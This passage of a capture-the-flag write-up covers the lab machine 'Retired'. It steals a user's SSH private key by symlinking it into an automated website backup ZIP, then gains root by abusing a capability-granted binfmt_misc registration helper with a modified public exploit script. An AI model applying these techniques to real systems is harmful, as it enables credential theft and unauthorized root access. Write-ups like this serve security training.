(remote) www-data@retired:/tmp$ cat /etc/systemd/system/website_backup.service
[Unit]
Description=Backup and rotate website

[Service]
User=dev
Group=www-data
ExecStart=/usr/bin/webbackup

[Install]
WantedBy=multi-user.target
(remote) www-data@retired:/tmp$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail

cd /var/www/

SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"

/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"

KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
    | sort --zero-terminated --numeric-sort --reverse \
    | while IFS= read -r -d '' backup; do
        if [ "$KEEP" -le 0 ]; then
            /usr/bin/rm --force -- "$backup"
        fi
        KEEP="$((KEEP-1))"
    done

This script runs as the dev user and it creates a ZIP file from /var/www/html every minute. We can symlink dev's SSH private key into a ZIP file by running cd /var/www/html && ln -s /home/dev/.ssh/id_rsa id_rsa. Copy the resulting ZIP file to /tmp by running cp 2022-08-05_05-28-05-html.zip /tmp and unzip with with unzip 2022-08-05_05-28-05-html.zip:

Archive:  2022-08-05_05-28-05-html.zip
   creating: var/www/html/
   creating: var/www/html/js/
  inflating: var/www/html/js/scripts.js
  inflating: var/www/html/activate_license.php
   creating: var/www/html/assets/
  inflating: var/www/html/assets/favicon.ico
   creating: var/www/html/assets/img/
  inflating: var/www/html/assets/img/close-icon.svg
  inflating: var/www/html/assets/img/navbar-logo.svg
   creating: var/www/html/assets/img/about/
  inflating: var/www/html/assets/img/about/2.jpg
  inflating: var/www/html/assets/img/about/4.jpg
  inflating: var/www/html/assets/img/about/3.jpg
  inflating: var/www/html/assets/img/about/1.jpg
   creating: var/www/html/assets/img/logos/
  inflating: var/www/html/assets/img/logos/facebook.svg
  inflating: var/www/html/assets/img/logos/microsoft.svg
  inflating: var/www/html/assets/img/logos/google.svg
  inflating: var/www/html/assets/img/logos/ibm.svg
   creating: var/www/html/assets/img/team/
  inflating: var/www/html/assets/img/team/2.jpg
  inflating: var/www/html/assets/img/team/3.jpg
  inflating: var/www/html/assets/img/team/1.jpg
  inflating: var/www/html/assets/img/header-bg.jpg
  inflating: var/www/html/beta.html
  inflating: var/www/html/default.html
  inflating: var/www/html/index.php
  inflating: var/www/html/id_rsa
   creating: var/www/html/css/
  inflating: var/www/html/css/styles.css

Now, just download /tmp/var/www/html/id_rsa. We can now connect as dev by running ssh dev@10.10.11.154 -i id_rsa (or use pwncat-cs). Finally, get the user.txt flag with cat ~/user.txt.

Privilege Escalation

In dev's home folder we get the source code for the activate_license program, which is nice: activate_license.zip.

We look through the /home/dev/emuemu/ directory:

(remote) dev@retired:/home/dev$ ls -la emuemu/
total 68
drwx------ 3 dev dev  4096 Mar 11 14:36 .
drwx------ 6 dev dev  4096 Aug  5 05:33 ..
-rw------- 1 dev dev   673 Oct 13  2021 Makefile
-rw------- 1 dev dev   228 Oct 13  2021 README.md
-rw------- 1 dev dev 16608 Oct 13  2021 emuemu
-rw------- 1 dev dev   168 Oct 13  2021 emuemu.c
-rw------- 1 dev dev 16864 Oct 13  2021 reg_helper
-rw------- 1 dev dev   502 Oct 13  2021 reg_helper.c
drwx------ 2 dev dev  4096 Mar 11 14:36 test

(remote) dev@retired:/home/dev$ cat emuemu/emuemu.c
#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */

int main(void) {
    puts("EMUEMU is still under development.");
    return 1;
}

(remote) dev@retired:/home/dev$ ls -la emuemu/test/
total 12
drwx------ 2 dev dev 4096 Mar 11 14:36 .
drwx------ 3 dev dev 4096 Mar 11 14:36 ..
-rwxr-xr-x 1 dev dev   70 Oct 13  2021 examplerom

(remote) dev@retired:/home/dev$ cat emuemu/test/examplerom
7OSTRICHROM
this is a minimal rom with a valid file type signature

The actually interesting file is emuemu/reg_helper.c:

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    char cmd[512] = { 0 };

    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
    if (-1 == fd)
        perror("open");
    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
        perror("write");
    if (close(fd) == -1)
        perror("close");

    return 0;
}

Searching for "/proc/sys/fs/binfmt_misc/register" finds this StackOverflow answer, which states that this file is "an interface to the kernel's mechanism for setting up binary formats."

Furthermore, the /home/dev/emuemu/Makefile contains some helpful information:

(remote) dev@retired:/home/dev/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion

SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)

.PHONY: install clean

install: $(TARGETS)
        @echo "[+] Installing program files"
        install --mode 0755 emuemu /usr/bin/
        mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
        install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
        setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

        @echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
        echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
                | tee /usr/lib/binfmt.d/emuemu.conf \
                | /usr/lib/emuemu/reg_helper

clean:
        rm -f -- $(TARGETS)

The reg_helper file is also located at /usr/lib/emuemu/reg_helper and has the cap_dac_override capability. This means it can "bypass file read, write, and execute permission checks" (source).

Searching for exploits involving /proc/sys/fs/binfmt_misc/register finds toffan/binfmt_misc, which looks promising. We also find these two amazing blog posts summarizing the issue we are about to exploit:

When we run a command on linux, "the kernel reads the first 128 characters of the file. It then iterates over the registered binary-format-handlers to determine which handler should be used. That way, when we execute a file that begins with a #! shebang, the kernel knows it is a script, and the binfmt_script handler is used to find the relevant interpreter (as indicated after the shebang). Similarly, when the file begins with x7fELF, the kernel knows it is a regular Linux binary, and the binfmt_elf handler is used to load the binary into the elf interpreter."

Within the /proc/sys/fs/binfmt_misc directory, we see an EMUEMU file. If we cat it, we get:

enabled
interpreter /usr/bin/emuemu
flags:
offset 0
magic 13374f53545249434800524f4d00

So, files begining with the magic bytes 13374f53545249434800524f4d00 will be executed by /usr/bin/emuemu. If we decode those bytes from hex we get .7OSTRICH.ROM., which are the first few bytes of the example ROM file we found in dev's home directory.

In order to use toffan/binfmt_misc, we need to be able to write to /proc/sys/fs/binfmt_misc/register. We can do this because the /usr/lib/emuemu/reg_helper file has the aforementioned capability to bypass file write checks. The script will register a new interpreter with binfmt_misc linked to the magic bytes of a random SUID binary. That new interpreter will run /bin/sh. Thus, when that random SUID binary is executed, Linux will find it's magic bytes registered with binfmt_misc and execute our interpreter with the permissions of the file executed. Since the file executed is SUID, we will get a root shell.

A more simple example is registering an entry for Python files with the first few bytes of a python file. With that interpreter added to binfmt_misc, you could run Python files without shebang headers directly without using the python command. Now, if you made your Python script a SUID binary, ran os.setuid(0);os.setgid(0) within it, and executed it, it would run as root even though the Python interepreter is not SUID. That is what we are doing with the toffan/binfmt_misc script. When a SUID binary is executed, it will execute our interpreter as root and we can set its UID/GID to root and then spawn a shell.

We download the exploit and modify it slightly. We remove the following two pieces of code that check if /proc/sys/fs/binfmt_misc/register is writeable, since it is not writeable:

function not_writeable()
{
	test ! -w "$mountpoint/register"
}
not_writeable && die "Error: $mountpoint/register is not writeable"

Finally, change echo "$binfmt_line" > "$mountpoint"/register to echo "$binfmt_line" | /usr/lib/emuemu/reg_helper so we write to the reg_helper file (which will write to /proc/sys/fs/binfmt_misc/register) instead of writing directly to /proc/sys/fs/binfmt_misc/register.

Running binfmt_rootkit (our modified exploit) will immediately spawn a root shell. Get the root.txt flag with cat /root/root.txt.

Last updated